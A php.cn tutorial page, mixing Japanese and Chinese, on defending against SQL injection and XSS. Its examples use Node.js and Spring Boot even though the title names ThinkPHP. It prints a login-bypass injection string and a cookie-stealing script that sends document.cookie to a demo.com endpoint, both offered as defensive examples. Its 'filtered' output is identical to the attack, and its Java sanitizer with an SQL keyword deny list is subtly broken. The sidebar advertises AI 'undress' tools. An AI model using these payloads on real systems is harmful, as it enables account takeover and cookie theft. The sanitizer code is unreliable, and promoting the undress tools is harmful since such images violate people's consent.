ホームページ PHPフレームワーク ThinkPHP thinkphp が SQL インジェクション xss 攻撃を防ぐ方法

thinkphp が SQL インジェクション xss 攻撃を防ぐ方法

Aug 26, 2019 pm 02:09 PM
sql thinkphp xss 防ぐ

thinkphp が SQL インジェクション xss 攻撃を防ぐ方法

SQL インジェクションの概要

SQL インジェクションの脆弱性 (SQL インジェクション) は、Web 開発における最も一般的なセキュリティ問題です。抜け穴。これを使用してデータベースから機密情報を取得したり、データベースの特性を利用してユーザーの追加やファイルのエクスポートなどの一連の悪意のある操作を実行したり、データベースやシステム ユーザーの最高の権限を取得することも可能です。 。

SQL インジェクションの理由は、プログラムがユーザーの入力を効果的にエスケープおよびフィルタリングしないため、攻撃者が悪意のある SQL クエリ コードをサーバーに送信できるためです。プログラムを受信した後、攻撃者の入力は誤って実行されます。クエリ ステートメントの一部として、元のクエリ ロジックが変更され、攻撃者が慎重に構築した追加の悪意のあるコードが実行されます。

多くの Web 開発者は、SQL クエリが改ざんされる可能性があることを認識していないため、SQL クエリを信頼できるコマンドとして扱っています。誰もが知っているように、SQL クエリはアクセス制御をバイパスすることができるため、認証と権限のチェックをバイパスできます。さらに、SQL クエリを介してホスト システム レベルのコマンドを実行することもできます。

SQL インジェクションの原理

SQL インジェクションの原理を実際の例を用いて詳しく説明します。

次の簡単な管理者ログイン フォームを考えてみましょう:

<form action="/login" method="POST">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <p><input type="submit" value="登陆" /></p>
</form>
ログイン後にコピー

バックエンド SQL ステートメントは次のようになります:

let querySQL = `
    SELECT *
    FROM user
    WHERE username=&#39;${username}&#39;
    AND psw=&#39;${password}&#39;
`;
// 接下来就是执行 sql 语句
ログイン後にコピー

目的は、ユーザー名とパスワードが正しいことを確認することです。一見したところ、上記の SQL ステートメントには何も問題はなく、実際に目的を達成できることは当然です。ただし、ユーザーが設計に従って正直に入力するという観点から問題を見ているだけです。悪意のある攻撃者が「ユーザー名は zhangsan' OR 1 = 1 --」と入力し、好きなパスワードを入力すると、システムに直接ログインできます。

落ち着いて考えてください。以前に予想した実際の SQL ステートメントは次のとおりです:

SELECT * FROM user WHERE username=&#39;zhangsan&#39; AND psw=&#39;mypassword&#39;
ログイン後にコピー

悪意のある攻撃者の奇妙なユーザー名により、SQL ステートメントは次の形式に変更される可能性があります:

SELECT * FROM user WHERE username=&#39;zhangsan&#39; OR 1 = 1 --&#39; AND psw=&#39;xxxx&#39;
ログイン後にコピー

SQL では、 -- はコメントの後の内容を意味するため、クエリ ステートメントは次のようになります。

SELECT * FROM user WHERE username=&#39;zhangsan&#39; OR 1 = 1
ログイン後にコピー

この SQL ステートメントのクエリ条件は常に true なので、悪意のある攻撃者は私を必要としないことを意味しますパスワードを使用すると、私のアカウントにログインでき、そこでやりたいことを何でもできます。ただし、これは最も単純なインジェクションにすぎません。素晴らしい SQL インジェクション マスターは、SQL クエリを通じてホスト システム レベルのコマンドを実行することもできます。ファイルをホストに挿入します。内容は一目瞭然ですが、ここで深く説明する能力はありません。結局のところ、私はこのタイプの攻撃を研究する専門家ではありません。ただし、上記の例を通して、SQL インジェクションの原理を理解したので、基本的に SQL インジェクションを防御する解決策を見つけることができます。

関連する推奨事項: 「ThinkPHP チュートリアル

SQL インジェクションの防止

SQL インジェクションを防止すると、主にユーザー入力が許可されなくなります。コンテンツは通常の SQL ステートメントのロジックに影響を与えます。ユーザーが入力した情報が SQL ステートメントを結合するために使用される場合、常にそれを信じないことを選択する必要があります。コンテンツはすべてエスケープしてフィルター処理する必要があります。もちろん、これだけでは十分ではありません。 SQL インジェクションを防御する際のいくつかの注意点:

1. Web アプリケーションのデータベースの操作権限を厳密に制限し、ユーザーの作業に必要な最小限の権限を付与することで、データベースに対するインジェクション攻撃の影響。

2. バックエンド コードは、入力データが期待を満たしているかどうかをチェックし、一部の照合処理に正規表現を使用するなど、変数の種類を厳密に制限します。

3. データベースに入力される特殊文字 ('、"、\、<、>、&、*、; など) をエスケープまたはエンコードします。基本的にすべてのバックエンド言語に対応するメソッドがあります。 lodash の lodash._escapehtmlchar ライブラリなどの文字列のエスケープ用。

4. すべてのクエリ ステートメントで、データベースによって提供されるパラメータ化されたクエリ インターフェイスを使用することをお勧めします。パラメータ化されたステートメントは、ユーザー入力変数を SQL ステートメントに埋め込む代わりにパラメータを使用します。つまり、SQL ステートメントを直接結合しないでください。たとえば、Node.js の mysqljs ライブラリのクエリ メソッドの ? プレースホルダー パラメーター。

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);
ログイン後にコピー

5。アプリケーションを公開する前に使用することをお勧めします。専門的な SQL インジェクション検出ツールを使用して、発見された SQL インジェクションの脆弱性を検出し、迅速に修復します。インターネット上には、sqlmap、SQLninja などのオープン ソース ツールが多数あります。

6. SQL エラー メッセージを出力する Web サイトを避けてください。たとえば、型エラー、フィールドの不一致など、コード内の SQL ステートメントを公開して、攻撃者がこれらのエラー メッセージを SQL インジェクションに使用するのを防ぎます。目的は、デバッグを容易にするために、バックエンド ログを使用し、インターフェイス上であまり多くのエラー情報を公開しないことです。結局のところ、実際のユーザーは、合理的に話している限り、あまり多くの技術的な詳細を気にしません。

XSS 攻撃の概要

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。

理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。

XSS 攻击示例

有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;
ログイン後にコピー

这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。

预防 XSS 攻击

核心思想

永远不要相信用户的输入,必须对输入的数据作过滤处理。

该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。

比如,我刚刚的恶意代码被过滤后,会变为下面的代码:

&lt;b&gt;This is a XSS test!&lt;/b&gt;
&lt;script&gt;
var cookie = document.cookie;
window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);
&lt;/script&gt;
ログイン後にコピー

这样,就可以预防大部分 XSS 攻击了。

服务端代码处理

以springboot为例:

可利用过滤器进行设置,如下所示:

/**
 * 防止sql注入,xss攻击
 * 前端可以对输入信息做预处理,后端也可以做处理。
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    private final Logger log = LoggerFactory.getLogger(getClass());
    private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
    |declare|;|or|-|+";
    private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
    private static String replacedString="INVALID";
    static {
        String keyStr[] = key.split("\\|");
        for (String str : keyStr) {
            notAllowedKeyWords.add(str);
        }
    }
    private String currentUrl;
    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
        currentUrl = servletRequest.getRequestURI();
    }
    /**覆盖getParameter方法,将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public Map<String, String[]> getParameterMap(){
        Map<String, String[]> values=super.getParameterMap();
        if (values == null) {
            return null;
        }
        Map<String, String[]> result=new HashMap<>();
        for(String key:values.keySet()){
            String encodedKey=cleanXSS(key);
            int count=values.get(key).length;
            String[] encodedValues = new String[count];
            for (int i = 0; i < count; i++){
                encodedValues[i]=cleanXSS(values.get(key)[i]);
            }
            result.put(encodedKey,encodedValues);
        }
        return result;
    }
    /**
     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。
     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取
     * getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null) {
            return null;
        }
        return cleanXSS(value);
    }
    private String cleanXSS(String valueP) {
        // You&#39;ll need to remove the spaces from the html entities below
        String value = valueP.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("&#39;", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\&#39;][\\s]*javascript:(.*)[\\\"\\\&#39;]", "\"\"");
        value = value.replaceAll("script", "");
        value = cleanSqlKeyWords(value);
        return value;
    }
    private String cleanSqlKeyWords(String value) {
        String paramValue = value;
        for (String keyword : notAllowedKeyWords) {
            if (paramValue.length() > keyword.length() + 4
                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
                    contains(" "+keyword+" "))) {
                paramValue = StringUtils.replace(paramValue, keyword, replacedString);
                log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword
                        + ")"+";参数:"+value+";过滤后的参数:"+paramValue);
            }
        }
        return paramValue;
    }
}
ログイン後にコピー

以上がthinkphp が SQL インジェクション xss 攻撃を防ぐ方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Hibernate フレームワークにおける HQL と SQL の違いは何ですか? Hibernate フレームワークにおける HQL と SQL の違いは何ですか? Apr 17, 2024 pm 02:57 PM

HQL と SQL は Hibernate フレームワークで比較されます。HQL (1. オブジェクト指向構文、2. データベースに依存しないクエリ、3. タイプ セーフティ)、SQL はデータベースを直接操作します (1. データベースに依存しない標準、2. 複雑な実行可能ファイル)。クエリとデータ操作)。

Oracle SQLでの除算演算の使用法 Oracle SQLでの除算演算の使用法 Mar 10, 2024 pm 03:06 PM

「OracleSQLでの除算演算の使用方法」 OracleSQLでは、除算演算は一般的な数学演算の1つです。データのクエリと処理中に、除算演算はフィールド間の比率を計算したり、特定の値間の論理関係を導出したりするのに役立ちます。この記事では、OracleSQL での除算演算の使用法を紹介し、具体的なコード例を示します。 1. OracleSQL における除算演算の 2 つの方法 OracleSQL では、除算演算を 2 つの異なる方法で実行できます。

Oracle と DB2 の SQL 構文の比較と相違点 Oracle と DB2 の SQL 構文の比較と相違点 Mar 11, 2024 pm 12:09 PM

Oracle と DB2 は一般的に使用される 2 つのリレーショナル データベース管理システムであり、それぞれに独自の SQL 構文と特性があります。この記事では、Oracle と DB2 の SQL 構文を比較し、相違点を示し、具体的なコード例を示します。データベース接続 Oracle では、次のステートメントを使用してデータベースに接続します: CONNECTusername/password@database DB2 では、データベースに接続するステートメントは次のとおりです: CONNECTTOdataba

thinkphpプロジェクトの実行方法 thinkphpプロジェクトの実行方法 Apr 09, 2024 pm 05:33 PM

ThinkPHP プロジェクトを実行するには、Composer をインストールし、Composer を使用してプロジェクトを作成し、プロジェクト ディレクトリに入り、php bin/consoleserve を実行し、http://localhost:8000 にアクセスしてようこそページを表示する必要があります。

thinkphp にはいくつかのバージョンがあります thinkphp にはいくつかのバージョンがあります Apr 09, 2024 pm 06:09 PM

ThinkPHP には、さまざまな PHP バージョン向けに設計された複数のバージョンがあります。メジャー バージョンには 3.2、5.0、5.1、および 6.0 が含まれますが、マイナー バージョンはバグを修正し、新機能を提供するために使用されます。最新の安定バージョンは ThinkPHP 6.0.16 です。バージョンを選択するときは、PHP バージョン、機能要件、コミュニティ サポートを考慮してください。最高のパフォーマンスとサポートを得るには、最新の安定バージョンを使用することをお勧めします。

MyBatis動的SQLタグのSetタグ機能の詳細説明 MyBatis動的SQLタグのSetタグ機能の詳細説明 Feb 26, 2024 pm 07:48 PM

MyBatis 動的 SQL タグの解釈: Set タグの使用法の詳細な説明 MyBatis は、豊富な動的 SQL タグを提供し、データベース操作ステートメントを柔軟に構築できる優れた永続層フレームワークです。このうち、Set タグは、UPDATE ステートメントで SET 句を生成するために使用され、更新操作でよく使用されます。この記事では、MyBatis での Set タグの使用法を詳細に説明し、特定のコード例を通じてその機能を示します。 SetタグとはMyBatiで使用するSetタグです。

thinkphpの実行方法 thinkphpの実行方法 Apr 09, 2024 pm 05:39 PM

ThinkPHP フレームワークをローカルで実行する手順: ThinkPHP フレームワークをローカル ディレクトリにダウンロードして解凍します。 ThinkPHP ルート ディレクトリを指す仮想ホスト (オプション) を作成します。データベース接続パラメータを構成します。 Webサーバーを起動します。 ThinkPHP アプリケーションを初期化します。 ThinkPHP アプリケーションの URL にアクセスして実行します。

laravelとthinkphpではどちらが優れていますか? laravelとthinkphpではどちらが優れていますか? Apr 09, 2024 pm 03:18 PM

Laravel フレームワークと ThinkPHP フレームワークのパフォーマンスの比較: ThinkPHP は、最適化とキャッシュに重点を置いて、一般に Laravel よりもパフォーマンスが優れています。 Laravel は優れたパフォーマンスを発揮しますが、複雑なアプリケーションの場合は、ThinkPHP の方が適している可能性があります。

See all articles